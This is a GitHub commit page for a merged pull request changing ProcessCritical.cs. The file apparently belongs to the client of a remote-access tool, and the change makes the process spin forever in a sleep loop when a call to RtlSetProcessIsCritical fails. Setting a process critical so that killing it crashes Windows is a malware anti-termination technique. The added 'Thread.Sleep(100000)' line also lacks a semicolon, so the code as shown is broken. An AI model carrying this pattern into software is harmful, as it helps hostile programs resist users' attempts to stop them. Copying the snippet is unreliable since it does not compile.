Merge pull request #33 from MrDevBot/patch-1

Update to ProcessCritical.cs
This commit is contained in:
NYAN CAT 2019-05-21 15:45:41 +03:00 committed by GitHub
commit dcebdff612
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -21,7 +21,13 @@ namespace Client.Helper
{
RtlSetProcessIsCritical(0, 0, 0);
}
catch { }
catch
{
while(true)
{
Thread.Sleep(100000) //prevents a BSOD on exit failure
}
}
}
#region "Native Methods"